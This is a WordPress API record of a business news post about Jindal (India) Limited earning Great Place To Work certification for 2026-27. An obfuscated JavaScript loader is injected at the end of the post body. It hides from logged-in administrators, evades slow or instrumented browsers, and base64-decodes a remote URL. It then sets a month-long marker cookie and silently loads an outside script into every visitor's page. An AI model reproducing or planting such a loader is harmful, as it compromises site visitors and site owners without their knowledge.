{"id":24946,"date":"2026-02-04T05:59:16","date_gmt":"2026-02-04T05:59:16","guid":{"rendered":"https:\/\/odishastand.com\/?p=24946"},"modified":"2026-03-22T20:44:40","modified_gmt":"2026-03-22T20:44:40","slug":"bc-jindal-groups-jindal-india-limited-earns-great-place-to-work-certification-for-2026-27","status":"publish","type":"post","link":"https:\/\/odishastand.com\/?p=24946","title":{"rendered":"BC Jindal Group\u2019s Jindal (India) Limited Earns Great Place To Work Certification\u2122 for 2026-27"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Bhubaneswar :<\/strong> BC Jindal Group\u2019s Jindal (India) Limited, led by Shyam Sunder Jindal, Promoter, BC Jindal Group, is proud to be Certified\u2122 by Great Place To Work\u00ae for the period Jan 2026 &#8211; Jan 2027. The prestigious award is based entirely on what current employees say about their experience working at Jindal (India) Limited. 96% of employees said it\u2019s a great place To Work which is 8% higher than the average of Top 100 benchmark companies in India. The survey was undertaken by more than 2800 employees of Jindal India working across 2 manufacturing plants and offices at multiple locations in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Great Place To Work\u00ae is the global authority on workplace culture, employee experience, and the leadership behaviors proven to deliver market-leading revenue, employee retention and increased innovation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&#8220;<em>Great Place To Work Certification is a highly coveted achievement that requires consistent and intentional dedication to the overall employee experience<\/em>,&#8221; says <strong>Sarah Lewis-Kulin, the Vice President of Global Recognition at Great Place To Work<\/strong>. She emphasizes that Certification is the sole official recognition earned by the real-time feedback of employees regarding their company culture. \u201c<em>By successfully earning this recognition, it is evident that Jindal (India) Limited stands out as one of the top companies to work for, providing a great workplace environment for its employees.&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\u201cSince inception, Jindal (India) Limited&#8217;s efforts have tenaciously been directed towards offering a rewarding experience to its employees, and we are elated to become a Great Place To Work-Certified\u2122 company<\/em>,\u201d said <strong>official spokesperson, Jindal (India) Limited<\/strong>. <em>\u201cThis recognition underscores the dedication and commitment of all our employees at Jindal (India) Limited. We acknowledge and appreciate their efforts in achieving this prestigious recognition<\/em>,\u201d he added.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In last few years, Jindal India has extensively worked on its people centric initiatives leading to empowerment, improved responsiveness, recognition of value-driven behaviors and performance driven work culture, which created an inclusive environment where people feel respected, supported, and connected to the organization\u2019s success.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to <a href=\"https:\/\/www.greatplacetowork.com\/resources\/blog\/job-seekers-are-4-5x-more-likely-to-find-a-great-boss-at-a-certified-great-workplace\">Great Place To Work research<\/a>, job seekers are 4.5 times more likely to find a great boss at a Certified great workplace. Additionally, employees at Certified workplaces are 93% more likely to look forward to coming to work, and are twice as likely to be paid fairly, earn a fair share of the company\u2019s profits and have a fair chance at promotion.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Bhubaneswar : BC Jindal Group\u2019s Jindal (India) Limited, led by Shyam Sunder Jindal, Promoter, BC Jindal Group, is proud to be Certified\u2122 by Great Place To Work\u00ae for the period Jan 2026 &#8211; Jan 2027. The prestigious award is based entirely on what current employees say about their experience working at Jindal (India) Limited. 96%&#8230;<\/p>\n","protected":false},"author":2,"featured_media":24947,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-24946","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business"],"_links":{"self":[{"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/posts\/24946","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/odishastand.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24946"}],"version-history":[{"count":2,"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/posts\/24946\/revisions"}],"predecessor-version":[{"id":25952,"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/posts\/24946\/revisions\/25952"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/odishastand.com\/index.php?rest_route=\/wp\/v2\/media\/24947"}],"wp:attachment":[{"href":"https:\/\/odishastand.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24946"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/odishastand.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24946"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/odishastand.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24946"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}